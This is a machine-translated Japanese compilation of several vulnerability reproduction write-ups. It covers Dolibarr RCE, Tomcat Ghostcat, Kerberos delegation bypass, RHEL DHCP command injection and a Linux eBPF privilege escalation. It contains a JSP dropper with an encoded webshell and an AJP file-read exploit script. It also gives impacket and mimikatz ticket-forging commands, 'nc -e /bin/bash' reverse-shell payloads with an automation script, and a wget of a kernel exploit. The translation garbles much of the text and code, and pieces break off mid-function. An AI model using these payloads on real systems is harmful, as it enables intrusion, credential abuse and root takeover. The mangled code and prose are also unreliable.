データベースに正常に保存されます

image-20221113004508666

デバッグしてVerifcondを入力します

image-20221113004645570

Verifcond、悪意のあるコンストラクトステッチバイパスでフォローアップ、Dol_Evalを入力します

image-20221113004826342

コード実行に正常に

image-20221113004918701

成功したけいれん

image-20221113005123697

脆弱性コールスタック

image-20221113004952924

0x03脆弱性の概要

ここでのこのRCEの脆弱性の原則は、実際には二次注射に似ています。まず、悪意のあるコードがデータベースに保存され、次にデータベースからデータを抽出するときに悪意のあるコードがトリガーされます。ここでもWAFがバイパスされ、PHP機能——変数関数を使用します

脆弱性修正

ここでは、著者の脆弱性に対する修正は、Verifcond関数を強化することです

ここで、文字列のスプライシングがキャンセルされ、dol_evalの4番目のパラメーターは「1」です

image-20221113010538177

これは、次の判断になります。ここでのコメントを見てください。ここのルールは、RCEを防ぐように設計されています。

image-20221113011151428

1つは、DOL_EVAL関数の強化です。ここで、ForbiddenPhpFunctionsはVerifcond関数を追加します。これはVerifcondの実行を直接禁止しますが、このHHHの意味がわかりません

image-20221113010132703

著者:Huamang

元のテキスト接続から転載:https://blog.huamang.xyz/post/cve-2022-40871/

1。脆弱性の説明

Apache Tomcatは、Apache Software Foundationの下でJakartaプロジェクトによって開発されたサーブレットコンテナです。デフォルトでは、Apache Tomcatは、AJPコネクタがAJPプロトコルを介して他のWebサーバーとの相互作用を促進できるようにします。ただし、Apache TomcatのAJPプロトコルの実装には脆弱性があります。これにより、攻撃者は悪意のあるAJPリクエストを送信することにより、Webアプリケーションのルートディレクトリにファイルを読み取るか、含めることができます。任意のフォーマットファイルがファイルにアップロードされている場合、任意のコード実行(RCE)につながる可能性があります。この脆弱性は、AJPサービスポートを利用して攻撃を実装します。 AJPサービスが有効になっていない場合、AJPサービスは脆弱性の影響を受けません(Tomcatは、デフォルトでAJPサービスを0.0.0.0/0に有効にします)。

2。危険レベル

高リスク

3。抜け穴の危険

攻撃者は、すべてのTomcat WebAppディレクトリの下で任意のファイルを読み取ることができます。さらに、Webサイトアプリケーションがファイルアップロード機能を提供する場合、攻撃者は最初に悪意のあるJSPスクリプトコードを含むファイルをサーバーにアップロードできます(アップロードされたファイル自体は、画像、プレーンテキストファイルなど、あらゆるタイプのファイルになります)。

iv。影響の範囲

Apache Tomcat 9.x 9.0.31

Apache Tomcat 8.x 8.5.51

Apache Tomcat 7.x 7.0.100

Apache Tomcat 6.x

5。前提条件

脆弱性インパクトバージョンの範囲内にあるTomcatの場合、AJPコネクタを有効にし、攻撃者がAJPコネクタサービスポートにアクセスできる場合、GhostCatの脆弱性に悪用されるリスクがあります。注tomcat AJPコネクタは、デフォルトの構成で有効になり、リスニングは0.0.0.0:8009です。

vi。脆弱性の原則

Tomcatには2つのコネクタがあります。つまり、HTTPとAJP:デフォルトのHTTPポートは8080です。これはHTTP要求を処理しますが、AJPデフォルトポート8009はAJPプロトコルからのリクエストを処理するために使用されます。 AJPはHTTPよりも最適化されており、主に逆、クラスタリングなどに使用されます。脆弱性は、TOMCAT AJPプロトコルの欠陥によって引き起こされます。攻撃者は、この脆弱性を使用して、特定のパラメーターを構築することにより、サーバーWebAppの下の任意のファイルを読み取ることができ、任意のファイルを含めることができます。特定のアップロードポイント、写真馬のアップロードなどがある場合は、シェルを入手できます

7。脆弱性分析

1。脆弱性原因分析:Tomcatのデフォルトのconf/server.xmlは2つのコネクタで構成されています。1つは8080の外部HTTPプロトコルポート、もう1つはデフォルトの8009 AJPプロトコルポートです。両方のポートは、デフォルトで外部ネットワークIPで監視されます。

下の図に示すように:

rmhxomyba5x7890.png

tomcatはorg.apache.coyote.ajp.ajpprocessorに電話して、AJPリクエストを受信するときにAJPメッセージを処理します。 PreperereQuestはAJPのコンテンツを取り出し、リクエストオブジェクトの属性プロパティに設定します。

下の図に示すように:

apivzcvci5d7891.png

したがって、この機能は、リクエストオブジェクトの次の3つの属性属性を制御するために使用できます

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

次に、対応するリクエストにカプセル化した後、下の図に示すようにサーブレットマッピングプロセスに従ってください。

u5djmms1ry27892.png

特定のマッピング方法は簡単です。自分でコードを表示できます。

2。UtilizationMethod :(1)、DefaultServletを使用して任意のファイルのダウンロードを実現します

URL要求がマッピングされたURLリストにない場合、以下の図に示すように、上記の3つのプロパティに従ってTomcatのデフォルトのデフォルトサーブレットが読み取られます。

llaeqgp2o5v7893.png

ServerSourceメソッドを介してリソースファイルを取得します

bskwchhcfbr7894.png

getRelativePathを介してリソースファイルパスを取得します

d4un0bbfi2f7895.png

次に、AJPによって制御される上記の3つの属性を制御することにより、ファイルが読み取られます。上記の3つの属性を操作することにより、クラス、XML、JAR、その他のファイルに限定されない /Web-INFの下のすべての機密ファイルを読み取ることができます。

(2)jspservletを介して接尾辞ファイルの包含を実装します

URL(http://xxx/xxx/xxx.jspなど)がorg.apache.jasper.servlet.jspservletサーブレットでマッピングする場合、図:に示すように上記の3つの属性を介してアクセスしたJSPファイルも制御できます。

joxolkvzmjh7896.png

パスを制御した後、ファイルはJSPで解析できます。そのため、RCEを実装するには、制御可能なファイルコンテンツを備えたファイルのみが必要です。

8。脆弱性の再発

1。環境準備(1)。 Windowsの下で繁殖する脆弱性の環境の準備、ここではTomcat-8.5.32が例として使用されます。

https://github.com/backlion/cve-2020-1938/blob/master/apache-tomcat-8.5.32.zip

(2)JDKをインストールし、JDK環境を構成します

(3)その後、Tomcatを起動し、Tomcat Directory/Bin Folderの[起動]をクリックします。

tb1kgkdve4q7897.png

2。脆弱性の複製と利用(1)、任意のファイルを読む(WebAppsディレクトリのファイルをここで読むことができます)

root@kali2019:〜#git clone https://github.com/ydhcui/cnvd-2020-10487-tomcat-ajp-lfi

root@kali2019:〜#cd cnvd-2020-10487-tomcat-ajp-lfi/

root@kali2019:〜/cnvd-2020-10487-tomcat-ajp-lfi#chmod +x cnvd-2020-10487-tomcat-ajp-lfi.py

root@kali2019:〜/cnvd-2020-10487-tomcat-ajp-lfi#python cnvd-20-10487-tomcat-ajp-lfi.py192.168.1.9 -p 8009 -f web-inf/web-inf.xml

z0msc5htjgi7898.pngROOT@KALI2019:〜/CNVD-2020-10487-TOMCAT-AJP-LFI#PYTHON CNVD-2020-10487-TOMCAT-AJP-LFI.PY 192.168.1.9 -8009 -F -F INDEX.JSP

pomoqg4n31x7899.png509ROOT@KALI2019:〜/CNVD-2020-10487-TOMCAT-AJP-LFI#PYTHON CNVD-2020-10487-TOMCAT-AJP-LFI.PY 192.168.1.9 -8009 -F -F TEST.TXT

j15eay5d2rk7900.png2。任意のファイルには以下が含まれます:(これは少し役に立たないので、含めるにはファイルコンテンツをアップロードする必要があります)(1)最初に含める必要があるJSPファイルコードをアップロードします。これがIce Scorpion Pony(test.txt)です

以下は、test.txtファイルをルートディレクトリにアップロードするためです(脆弱性のデモンストレーションのために、このディレクトリにファイルを直接アップロードします。実際の環境では、ファイルのアップロード、TXTファイルのアップロード、脆弱性のエクスプロードを介してファイルを脆弱性にアップロードできます)

cpqfvkkdczi7901.png

test.txtファイルコンテンツ:

jsp:root xmlns:jsp='http://java.sun.com/jsp/page' xmlns='http://www.w3.org/1999/xhtml' xmlns:c='http://java.sun.com.sun.com.sun.com.sun.com.sun.com

jsp:directive.page contentType='text/html' pageencoding='utf-8'/

jsp:directive.page import='java.io。*'/

JSP:Directive.Page Import='Sun.Misc.Base64Decoder'/

htmlheadtitlefuck/title/head

ボディbgcolor='#ffffff'

//MIMA:PASS

jsp:scriptlet![cdata [

string realpath=request.getRealPath(request.getRequesturi());

文字列dir=new file(realpath).getParent();

string strpath=dir+'/t00ls.jspx';

ファイルstrfile=new file(strpath);

boolean filecreated=strfile.createNewfile();

ライターJSPX=new BufferedWriter(new FileWriter(Strfile));

文字列TMP='PGPZCDPYB290IHHTBG5ZOMPZCD0IAHR0CDOVL2PHDMEUC3VULMNVBS9KU1AVUGFNZSIGDMVYC2LVBJ0IMS4YIJ48ANNWOMRPCMVJDGL2ZS5WYWDLIGLTCG9YDD0IA Mf2ys51dglsliosamf2yxguy3j5chrvliosamf22yxguy3j5chrvlnnwzwmukiivpjxqc3a6zgvjbgfyyxrpb24+ingsyxnzifugzxh0zwzw5kcybdbgfzc0xvywrlcntvk ensyxnztg9hzgvyigmpe3n1cgvykgmpo31wdwjsawmgq2xhc3mgzyhiexrliftdyil7cmv0dxjuihihihihihihihihihihihihihihihihlmrmrlzmluzunsyxnzkgismcxilmxlbmd07fx08l2pz cdpkzwnsyxjhdglvbj48annwonnjcmmlwdgxldd5pzihyzxf1zxn0lmdldfhcmftzxrlciggfzcyipit1udwxskxtdhjpbmcgaz0oiiilmmjvulelnjhbmbvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv suqokskucmvwbgfjzsgilsiiiplnn1ynn0cmluzygxnik7c2vzc2lvbi5wdxrwywx1zsgidsisayk7b3v0lnbyaw50kgspo3jldhvybjt9q2lwagvyigm9q2lwagv ylmdldeluc3rhbmnlkcjbrvmikttjlmluaxqomixuzxcgu2vjcmv0s2v55u3blyygoc2vzc2lvbi5nzxrwywx1zsgidsipjtjtjtjtjtjtjtjiiptt uzxcgvsh0aglzlmdldensyxnzkkuz2v0q2xhc3nmb2fkzxiokskuzyhlmrvrvrmluywwobmv3ihn1bi5taxnjlkjbu0u2nelly29kzioks5knvnvzgnvzgnvzをvxdwvzdc5nzxrszwfkzxioks5yzwfktgluzsgpkskplm5ld0luc3rhbmnlkckuzx F1YWXZKHBHZ2VDB250ZXH0KTS8L2PZCDPZY3JPCHRSZXQ+PCC3A6CM9VDD4=';

string str=new String((new Base64Decoder())。DecodeBuffer(TMP));

string estr=java.net.urldecoder.decode(str);

jspx.write(estr);

jspx.flush();

jspx.close();

out.println(strpath);

]]/jsp:scriptlet

/体

/HTML

/jsp:root

(2)テストはtest.txtに直接アクセスできます

http://192.168.1.9:8080/test.txt

(3)POCを変更する必要があり、「/asdf」が「/asdf.jspx」に含まれています

https://github.com/backlion/cnvd-2020-10487-tomcat-ajp-lfi/blob/master/cnvd-2020-10487-tomcat-ajp-lfi.py

変更されたコードは次のとおりです。

#!/usr/bin/env python

#cnvd-2020-10487 tomcat-ajp lfi

#by ydhcui

インポート構造

#いくつかの参照:

#https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

def pack_string(s):

sがne:の場合

return struct.pack( 'h'、-1)

l=len(s)

return struct.pack( 'h%dsb'%l、l、s.encode( 'utf8')、0)

def unpack(stream、fmt):

size=struct.calcsize(fmt)

buf=stream.read(size)

return struct.unpack(fmt、buf)

def upack_string(stream):

サイズ、=アンパック(ストリーム、 'h')

if size==-1:#null文字列

なしなし

res、=unpack(stream、 '%ds'%size)

stream.read(1)#\ 0

RESを返します

クラスNotFoundException(例外):

合格

クラスAJPBodyRequest(オブジェクト):

#サーバー==webサーバー、container==サーブレット

server_to_container、container_to_server=range(2)

max_request_length=8186

def __init __(self、data_stream、data_len、data_direction=none):

self.data_stream=data_stream

self.data_len=data_len

self.data_direction=data_direction

def serialize(self):

data=self.data_stream.read(ajpbodyrequest.max_request_length)

Len(data)==0:の場合

return struct.pack( 'bbh'、0x12、0x34、0x00)

else:

res=struct.pack( 'h'、len(data))

RES +=データ

self.data_direction==ajpbodyrequest.server_to_container:の場合

header=struct.pack( 'bbh'、0x12、0x34、len(res))

else:

header=struct.pack( 'bbh'、0x41、0x42、len(res))

Header + Resを返します

def send_and_receive(self、socket、stream):

true:

data=self.serialize()

socket.send(データ)

r=ajpresponse.receive(stream)

while r.prefix_code!=ajpresponse.get_body_chunkおよびr.prefix_code!=ajpresponse.send_headers:

r=ajpresponse.receive(stream)

r.prefix_code==ajpresponse.send_headersまたはlen(data)==4:の場合

壊す

クラスajpforwardRequest(オブジェクト):

_、_、options、get、head、post、put、delete、trace、propfind、proppatch、mkcol、copy、move、lock、lock、unlock、acl、Report、version_control、checkin、checkout、uncheckout、search、mkworkspace、update、labe、merge、baseline_control、mkactivity=range(28)

request_methods={'get': get、' post ': post、 'head ': head、' options ': options、 'put ': put、' delete': delete、 'trace': trace}

#サーバー==webサーバー、container==サーブレット

server_to_container、container_to_server=range(2)

common_headers=['sc_req_accept'、

'sc_req_accept_charset'、 'sc_req_accept_encoding'、 'sc_req_accept_language'、 'sc_req_authorization'、

'sc_req_connection'、 'sc_req_content_type'、 'sc_req_content_length'、 'sc_req_cookie'、 'sc_req_cookie2'、

'sc_req_host'、 'sc_req_pragma'、 'sc_req_referer'、 'sc_req_user_agent'

]

属性=['context'、 'servlet_path'、 'remote_user'、 'auth_type'、 'query_string'、 'route'、 'ssl_cert'、 'ssl_cipher'、 'ssl_session'、 'req_attribute'、 'ssl_key_size'、 'secret _meth_metheize'、

def __init __(self、data_direction=none):

self.prefix_code=0x02

self.method=none

self.protocol=none

self.req_uri=none

self.remote_addr=none

self.remote_host=none

self.server_name=none

self.server_port=none

self.is_ssl=none

self.num_headers=none

self.request_headers=none

self.attributes=none

self.data_direction=data_direction

def pack_headers(self):

self.num_headers=len(self.request_headers)

res=''

res=struct.pack( 'h'、self.num_headers)

hの場合

0x01序文

getst.py(https://github.com/secureauthcorp/impacket/blob/master/examples/)に新しいpr-force-forwardableロゴが追加されました。この識別を有効にした後、プログラムは次の手順を実行します(新しく追加されたコンテンツは太字で表示されます):プログラムは、-hashまたは-aeskeyパラメーターによって提供されるキーを使用し、コマンドラインで指定されたサービスプリンシパルとしてTGTを取得します。プログラムは、TGTを介してS4U2自己交換を実行して、-Imprionateパラメーターで指定されたユーザーのサービスプリンシパルのサービスチケットを取得します。プログラムは、ステップ1で使用されるサービスプリンシパルの同じキーを使用してサービスチケットを復号化します。プログラムは「フォローダブル可能な」アイデンティティを1に設定します。このプログラムは、サービスチケットとそのTGTとS4U2Proxy交換を行い、-SPNパラメーターで指定されたサービスとしてシミュレートされたユーザーのサービスチケットを取得します。このプログラムは、結果をサービスチケットとして出力します。これは、ターゲットサービスを認証し、ターゲットユーザーになりすましているために使用できます。チケットを編集して、前向きなビットを1に強制することにより、プログラムは保護されたユーザーグループのメンバーとして構成されたユーザーをシミュレートできます。またはアカウントを使用することは敏感で、委任できません。これにより、プログラムを「Kerberosのみ」の制約用に構成したサービスで使用できます。次の例では、「service1」により「service2」への制約委任が許可され、user2は「アカウントに敏感で委任できません」として構成されます。 -force -forwardable IDがない場合、S4U2Selfによって返されたチケットが転送されないため、S4U2Proxy交換は失敗します。新しいIDを使用すると、プログラムは正常に実行され、ユーザー2をシミュレートするために使用できるサービスチケットを生成します。チケットは、Mimikatzを介して搭載され、すぐにuser2としてservice2にアクセスできます。

0x02攻撃の例1

このシナリオでは、この脆弱性を活用することで、「このユーザーが指定されたサービスのみに委任することを信頼します - Kerberosのみを使用する」保護を保護し、委任された保護されたユーザーをシミュレートする方法がわかります。

1。環境構成

テストドメイン(test.local)には、Windows Server 2019バージョンを実行している3つのサーバーが含まれていますが、脆弱性は修正されていません。攻撃は、service1サーバーでuser1として起動されます。 Service2サーバーには管理アクセス権があるため、user2アカウントへの攻撃を開始します。すべてのKerberosチケットのドメインコントローラー(DC)と対話します。 DCでは、Service1が構成されているため、プロトコルをService2に変換せずに制約された委任を実行できます。これにより、攻撃パスのステップ3の条件が満たされます。

この構成がActive Directory GUIで設定されている場合、次のようになります。jvompf0ajld7528.pngユーザー2アカウントもDCを更新する必要があります。アカウントは、アカウントに敏感で削除不可能な属性で構成できます。このアカウントは、保護されたユーザーグループのメンバーになることもできます。これらの構成の変更の1つまたは両方は同等です。アカウントに敏感で委任できないユーザー2を構成します。初期攻撃の拠点を取得するには(攻撃パスのステップ1)。 PowerShellセッションを開始し、現在、user1とservice1が独自の承認の下でservice2にアクセスできないことを確認してください。コマンド:whoamils \\ service2.test.local \ c $攻撃パスの続行ステップ2:Serviceのハッシュ値を取得します1。このシナリオでは、ImpacketのSecretSdump.pyを使用して、AES256-CTS-HMAC-SHA1-96値とLM:NTLM Service1 Computerアカウントのハッシュ値を取得します。コマンド:Python。\ Impacket \ Examples \ secretsdump.py 'test/user13360user1_password@service1.test.local'execution:pvuvcyeyl2d7529.png必要なハッシュを取得した後、GetSt.pyプログラムは最初に - フォードル可能なプログラムを実行しないようにします。正常に実行できません。上記のように、S4U2Self Exchangeは依然としてUser2のService1へのサービスチケットを返しますが、サービスの委任制限とユーザーの未解決の保護により、チケットの前向きなIDは設定されていません。 This causes an error when using the ticket as authentication in the S4U2proxy exchange:\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes LM:NTLM hash -aesKey AES hash test.local/Service1 Executionsgafoslwguq7530.png Run the exploit, which is the 4th step攻撃パスの。前のコマンドを繰り返しますが、今回は-force -forwardableコマンドラインパラメーターコマンドを含めます。 cifs/service2.test.local- user2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aeskey 4FFE0C458EF7196E4991229B0E1C4A11129282AFB117B02DC2FF38F0312FC84B4 TEST.LOCAL/SERVICE1 -FORCE -Forwardable

执行:vsll53dme3i7531.png命令成功输出:S4U2SelfからのサービスチケットFlags: 000000001000010000000000000000000000000000000000 s4u2selfからのサービスチケットは、フォワード担当チケットをForcives forcive forcivation notervice nodification notification : 0100001000010000000000000000000000 -force -forwardableフラグを含めることにより、先送り可能であるエクスプロイトは自動的に実行され、S4U2自己交換から受け取ったサービスチケットを転送可能な請求書に変換します。これは、Service1のハッシュ値を使用してチケットを復号化し、フラグ値の2番目のビットを0から1に変更し、チケットを再クリップすることです。このフォローダブル請求書はS4U2Proxy Exchangeで送信され、Service2はuser2のサービスチケットとして返され、user2.ccacheのディスクに書き込まれます。次に、サービスチケットは、Mimikatzを使用して使用するためにチケットキャッシュにロードされます。読み込んだ後、MimikatzがCIFS Service of Service2にアクセスするためのUser2が有効なチケットであることを確認することがわかります。コマンド:\ mimikatz \ mimikatz.exe 'kerberos3:ptc user2.ccache' exit 'exit' exit 'exit' exit '(commandline) service2にuser2にすべての権限があります。 Mark RussianovichのPsexecを使用して、Service2サーバーでPowerShellセッションを取得し、いくつかのコマンドを実行します。これが攻撃パスの最後のステップです。コマンド:ls \\ service2.test.local \ c $ターゲットユーザー2アカウントは、「保護されたユーザー」のメンバーとしてのIDを保持するか、「アカウントに敏感で未解除されていない」属性を使用して構成を維持することができます。 DCに接続し、「このコンピューターを代表団に信頼しないでください」を使用してService1を構成し、Service1qavfckzyas57532.pngを編集してService2コンピューターオブジェクトを編集し、ユーザー1の書き込み許可を付与します。ユーザー1ユーザーに直接アクセス許可を付与すると、ユーザーは通常、特権グループのメンバーシップを通じて1つ以上の広告オブジェクトへの書き込みアクセス許可を取得します。ユーザーは必ずしもドメイン管理者である必要はありません。ftdrvqyoml17533.png

2。攻撃を実行

ドメインコントローラーを終了し、service1サーバーにユーザーとしてログインします。初期攻撃の拠点を取得するには(攻撃パスのステップ1)。最初の例から攻撃を続ける場合は、地元のKerberosチケットキャッシュをクリアしてください。キャッシュをクリアする最も効果的な方法は、サービス1を再起動することです。

前の例とは異なり、この攻撃はService1とService2の委任信頼関係を活用しません2。 service1を「委任のためにこのコンピューターを信頼する」ように構成した後、この信頼関係はもはや存在しません。 Service2との新しい委任関係を確立する必要があります。今回は新しいサービスです。環境で新しいサービスを作成するために、Kevin RobertsonのPowerMadを使用して新しいコンピューターアカウントを作成します。これには、アカウントのアクセス許可を増やす必要はなく、デフォルトではドメイン内のユーザーはそれを使用できます。コンピューターアカウントに「AttackerService」という名前を付け、「AttacererServicePassWord」コマンド:Import -Mad \ PowerMad.ps1New -MachineaCcount AttackerService -Password $(akterSerervicePassword '-Asspleantext -forcentext -forreattext -formentext -formentext -curestring -curestring -curestring -curestring -password $(convertto securestring -curestring -password $)などの任意のパスワードを提供します。新しいマシンアカウントのパスワードを選択した場合、Mimikatzを使用して対応するパスワードハッシュを簡単に計算できます。これにより、攻撃パスのステップ2が完了します。コマンド:\ mimikatz \ mimikatz.exe 'kerberos3:3360hash /password3:atcackerservicepassword /user:attackerservice /domain:test.local' exit decution:31b1fys5jto7535.png crated crited ext our neft didhell chalk of red fid ext ed chalk of red ed chalk of red ed chalk of red ed chalk of red ed chalk of red ed chalk of chalk of culd exモジュールはまだ利用できないため、対応する関数をインストールし、モジュールをインポートし、新しく作成したコンピューターアカウントを確認します。コマンド:install-windowsfeature rsat-ad-powershellimport-module active directoryget-adcomputer aghterservice実行:mfunkrgwwym7537.pngマシンアカウントの存在を確認した後、Service2とAttackerserviceの間に制約された委任信頼関係を確立できます。 user1(当社の制御されたフットルドアカウント)には、service2オブジェクトへの書き込みアクセス許可があるため、service2のagrationallowedtodelegateToAccountリストにAttacherServiceを追加できます2。これにより、リソースベースの制約付き委任がService2に確立され、攻撃者サービスからの制約付き委任が受け入れられます。このステップを完了した後、攻撃パスのステップ3の条件を満たします。コマンド:set-adcomputer service2 -principalsallowedtodeLegatoAccount Attackerservice $ get-adcomputer service2 -properties principalsalowedtodelegateAccount実行:u0cv1cp0ip07538.png攻撃パスのステップ4を実行し続ける準備ができています。前の例と同じコマンドを使用しますが、今回はservice1の代わりに攻撃者サービスを指定し、mimikatzを使用してハッシュ値を計算します。

コマンドに-force -forwardableフラグを含めると、前の例と同じ結果が表示されます。エクスプロイトを実行し、前向きなフラグを設定し、service2のサービスチケットをuser2.ccacheのディスクにuser2として書き込みます。コマンド:Python。\ Impacket \ Examples \ getSt.py -Spn CIFS/SERVICE2.TEST.LOCAL -IMPRINGATE USER2 -HASES 830F8DF592F48BC036AC79A2B8036C5:830F8F8DF592F48BC036AC7992B8036CKEY 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$ Executionbtetxqd3zzs7539.pngこれで、前の例で最後のコマンドを繰り返すことができます。 Mimikatzを使用して、ローカルKerberosチケットキャッシュにサービスチケットをロードすることにより、攻撃パスのステップ5の準備をします。次に、service2(simulating user2)と対話してステップ5コマンドを実行します。 out-nullls \\ service2.test.local \ c $

0x01脆弱性の概要

最近、Red Hatはセキュリティアップデートを正式にリリースし、CVE-2018-1111の番号付けされたリモートコード実行の脆弱性を修正しました。攻撃者は、DHCPサーバーを偽造して応答パケットを送信し、Red Hatシステムを攻撃し、ルートアクセス許可を取得し、任意のコマンドを実行できます。

0x02影響バージョン

Red Hat Enterprise Linux Server 6

Red Hat Enterprise Linux Server 7

Centos 6

Centos 7

0x03脆弱性の詳細

DHCPは、主に内部ネットワークでの動的IPアドレス割り当てに使用されるLANのネットワークプロトコルです。 Red Hatが提供するDHCPクライアントパッケージDHClientのスクリプトは/etc/networkmanager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)および/etc/networkmanager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6);このスクリプトは、NetworkManagerコンポーネントがDHCPサーバーからDHCP応答を受信するときに実行されます。

alt

単一の引用符を使用してパラメーター値を正常にエスケープし、コマンドの実行を実現します

-dhcp-option='252、x'nc -e /bin /bash 10.1.1.1 1337#'

0x04脆弱性の再発

は、再現するときに注意してください。

1.両方の仮想マシンをホスト専用モードに設定する必要があります

2。ホストモードLS8 Z(D/M0〜J2 F9 LでDHCPサービスを無効にする

環境

攻撃航空機:Kali 2018.2

被害者マシン:Centos7

Tsinghua Mirror SiteでCentos 7をダウンロードします

https://mirrors.tuna.tsinghua.edu.cn/centos/7.4.1708/isos/x86_64/centos-7-x86_64-dvd-1708.iso

VMware12.0

ネットワークをセットアップ

ここでは、VMware仮想マシンを使用して実装します。両方のシステムは、VMNET1ネットワークカード(ホストモードのみ)に接続され、ネットワークカードをオフにします。

DHCPサービス。

avjxkwh1db58992.jpg

次に、kali、dnsmasqでDHCPサーバーの構成を開始します

これは、DNSとDHCPを構成するためのコンパクトで便利なツールです。小さなネットワークに適しています。 DNS機能とオプションのDHCP機能を提供して、DNSサービスまたはDHCPサービスを迅速に構築します。

kali

を構成します

最初に、Kaliの下でIPを静的に構成し、ルートを追加します。コマンドは次のとおりです。

ifconfig eth0 192.168.71.5netmask

255.255.255.0

ルートAddDefaultGW192.168.71.5

まず、DNSMasqで使用する必要がある構成ファイル /etc/dnsmasq.confを作成します。コンテンツは次のとおりです。

vim /etc/dnssmassq.conf

バインドインターフェイス

インターフェイス=eth0

Interface=loを除く

DHCP-RANGE=192.168.71.10,192.168.71.30,22H

DHCP-Option=3,192.168.131.5

DHCP-Option=6,192.168.131.5

ログQueries

log-facility=/var/log/dnsmasq.log

パラメーター説明:

DHCP-RANGE:は、クライアントに割り当てるIPアドレスの範囲とリース時間を示します

DHCP-OPTION:は、DHCPクライアントに割り当てられたオプション情報を示します

log-facility:はロガーを表します

構成ファイルに含まれるオプションの値と意味は次のとおりです。

3:ゲートウェイアドレスオプションを設定します

6: DNSサーバーアドレスオプションを設定します

252:は、DHCPクライアントがプロキシ設定を構成するためのURLを提供しますwpad-proxy-url

ペイロードに関与するオプション252は、DHCPサーバーに252を使用して、ブラウザでDHCPサーバーに通知する機能を記述し、このオプションにリストされているURLからネットワーク上のプロキシ設定に関する情報を取得するためにコード252を使用して、プライベート使用予約部品の一部です。

ここでは、dnsmasq.confにdhcp-rangeを設定します

これは、192.168.71.10-192.168.71.30/24のIPアドレス範囲であり、リース時間は12時間です。

DHCP-Option 3ゲートウェイアドレスとDHCP-Option 6

DNSサーバーは、KaliローカルネットワークカードのIPアドレスに設定され、KaliのIPアドレスは静的IPです。 /etc/dnsmasq.conf構成ファイルを変更した後、DNSMASQサービスを直接開始することはできません。

DNSMASQを使用してDNSサーバーを偽造し、次のようにコマンドペイロードを実行します。

dnsmasq -dc dnsmasq.conf

-dhcp-option='252、malayke'nc -e /bin /bash 192.168.71.5 6666#'

jrq4wn5ffbk8993.jpg

ここで-dはデバッグモードを表し、-cは指定された構成ファイルを表し、DNSMASQサービスを実行します。 DNSMASQコマンドのより詳細な説明については、Man DNSMASQを使用して表示できます。

コマンド実行の効果は、NCを介してシェルを192.168.71.5のポート6666にバウンスすることです。したがって、KALIでNCポート監視を有効にする必要があります。コマンドは次のとおりです。

NC-L-P6666-V

beprim5qdbm8994.jpg

攻撃

IPアドレスを取得してネットワークカードを再起動するためにDHCPにCentosを設定しました!現時点では、CentOSはネットワークサービスを再起動し、DHCPサーバーが発行したIPアドレスを取得する必要があります。ここでは、IPアドレスが取得されたことがわかります192.168.71.18

コマンドは次のとおりです。

/etc/init.d/network再起動

umy0bfxs0me8995.jpg

IPが取得されたことが示されています。ここKaliで何が起こったのか見てみましょう

itwudoziovp8996.jpg

この時点で、KaliのNCでは、Centosシェルを取得でき、ルート許可があります

0x05脆弱性原理

単一の引用がスクリプトで逃げ出し、ルート許可を使用してスクリプトを直接実行しました。

dhcp-option=” 252、x’nc-e/bin/bash10.1.1.11337#”

0x06修復方法

#yum update dhclient

#RPM -QA -CHANGELOG DHCLIENT |グレップ

CVE-2018- Resolves:#1570898-CVE-2018-1111:を解析しないでください

エスケープキャラクターとしてのバックスラッシュ

ox7はexp

を利用します

#/usr/bin/python

#encoding=utf-8

PWNインポートから *

OSをインポートします

sysをインポートします

インポート時間

#著者: xyzz@chamd5.org

#時間: 20180520

IP='192.168.131.52'

ポート=1314

#context.log_level='debug'

DEF PWN(IP、ポート):

f=open( 'dnsmasq.conf'、 'w')

start=ip [:ip.rfind( '。')]+'。10'

end=ip [:ip.rfind( '。')]+'。30'

dnsmasq='' '

バインドインターフェイス

インターフェイス=eth0

Interface=loを除く

dhcp-range={start}、{end}、22h

dhcp-option=3、{ip}

dhcp-option=6、{ip}

ログQueries

log-facility=/var/log/dnsmasq.log

'' .format(ip=ip、start=start、end=end)

f.write(dnsmasq)

f.close()

cm=[]

cm.append( 'ifconfig eth0 {ip} netmask 255.255.255.0' .format(ip=ip)))

cm.append( 'ルート追加gw {ip}'。フォーマット(ip=ip))

cm.append( '' 'dnsmasq -dc dnsmasq.conf

-dhcp-option='252、' nc -e /bin /bash {ip} {port}

# '' '。フォーマット(ip=ip、port=port))

q=process( 'bash')

範囲のi(len(cm)-1):の場合

Q.sendline(cm [i])

time.sleep(1)

#time.sleep(100)

p=process( 'bash')

p.sendline( 'nc -l -p {port} -v'.format(port=port))

Q.Sendline(CM [-1])

time.sleep(3)

p.interactive()

#q.interactive()

__name__=='__main __' :の場合

PWN(IP、ポート)

24wn4mcn41k8997.jpg

fcaq3qqosd58998.jpg

0x01はじめに

この脆弱性は、Google Project Zeroによって発見されました。脆弱性は、EBPF BPF(2)システム(config_bpf_syscall)のコンパイルサポートを備えたLinuxカーネルに存在することが報告されており、メモリ任意の読み取りおよび書き込みの脆弱性です。この脆弱性は、EBPF検証モジュールの計算エラーによって引き起こされます。通常のユーザーは特別なBPFを構築して脆弱性を引き起こすことができ、悪意のある攻撃者は脆弱性を使用して地域の特権ハイキング操作を実行することもできます。

0x02脆弱性の影響

Linux Kernelバージョン4.14-4.4(DebianとUbuntuの分布に影響)

0x03テスト環境

ubuntu16.04 x64

0x04テスト手順

1。権利を提起するための住所をダウンロード:

http://Cyclabs.com/exploits/upstream44.c

2.CD /Opt Directoryに切り替えてExp:ダウンロード:

CD /OPT #Preparation//OPTに777の権限があるかどうかを確認するには、それ以外の場合はExpをコンパイルして実行できません

WGET http://Cyclabs.com/exploits/upstream44.c

h1dqpzpnbrl9104.jpg

3.一部のubuntuにはGCCがインストールされておらず、インストールする必要があります。

sudo apt-getインストールGCC

コンパイルされたコンポーネントが不足している場合は、LIBプラグインをインストールする必要があります

apt-getインストールlibc6-dev

4。その後、GCCを使用してコンパイルします

GCC -O Exp UpStream44.C

4nhzufkbcx59105.jpg

5。expを実行可能許可に変更します

chmod +x exp

xtxzrsp04p39106.jpg

